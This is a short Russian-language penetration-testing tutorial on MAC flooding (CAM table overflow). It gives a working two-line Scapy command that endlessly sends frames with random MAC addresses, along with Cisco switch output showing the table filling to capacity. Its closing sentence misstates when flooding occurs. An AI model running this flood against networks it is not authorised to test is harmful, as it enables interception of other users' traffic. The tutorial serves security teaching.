В этой небольшой статье рассмотрим использование атаки CAM Table Overflow (Переполнение ассоциативной памяти коммутатора) в пентесте.
Еще по теме: Сетевая разведка и перехват трафика с помощью ARP
Атака CAM Table Overflow
Иногда такая атака называется переполнением таблицы MAC-адресов. Принцип этой атаки состоит в том, чтобы вызвать переполнение коммутационной матрицы. В случае чего коммутатор, грубо говоря, превращается в хаб и начинает рассылать поступающие кадры во все порты, что вызывает идеальные условия для перехвата трафика.
Вызывать переполнение очень просто, ведь у коммутаторов ограничен размер таблиц MAC-адресов. При заполнении таблицы MAC-адресов злоумышленник сможет видеть все рассылаемые кадры из всех портов.
Воспользуемся Scapy, чтобы провести такую атаку. В качестве MAC-адреса источника пусть будет рандомизированный MAC-адрес, каждый новый генерирующийся кадр будет с новым MAC-адресом. MAC-адресов назначения это тоже касается.
Далее с помощью метода sendp выполняем рассылку фиктивных кадров Ethernet. Задав loop = 1, зациклим отправку этих кадров.
1 2 |
>>> malicious_frames = Ether(src=RandMAC(), dst=RandMAC()) >>> sendp(malicious_frames, iface="eth0", loop=1, verbose=1) |
Таблица MAC-адресов коммутатора до атаки:
1 2 3 4 5 6 7 8 9 |
CoreSW#show mac address-table count Mac Entries for Vlan 1: --------------------------- Dynamic Address Count : 3 Static Address Count : 0 Total Mac Addresses : 3 Total Mac Address Space Available: 7981 |
Таблица MAC-адресов коммутатора после атаки:
1 2 3 4 5 6 7 8 9 |
CoreSW#show mac address-table count Mac Entries for Vlan 1: --------------------------- Dynamic Address Count : 7981 Static Address Count : 0 Total Mac Addresses : 7981 Total Mac Address Space Available: 7981 |
Пока таблица MAC-адресов не заполнена, коммутатор будет передавать все кадры из всех портов, используя широковещательную рассылку.
Полезные ссылки: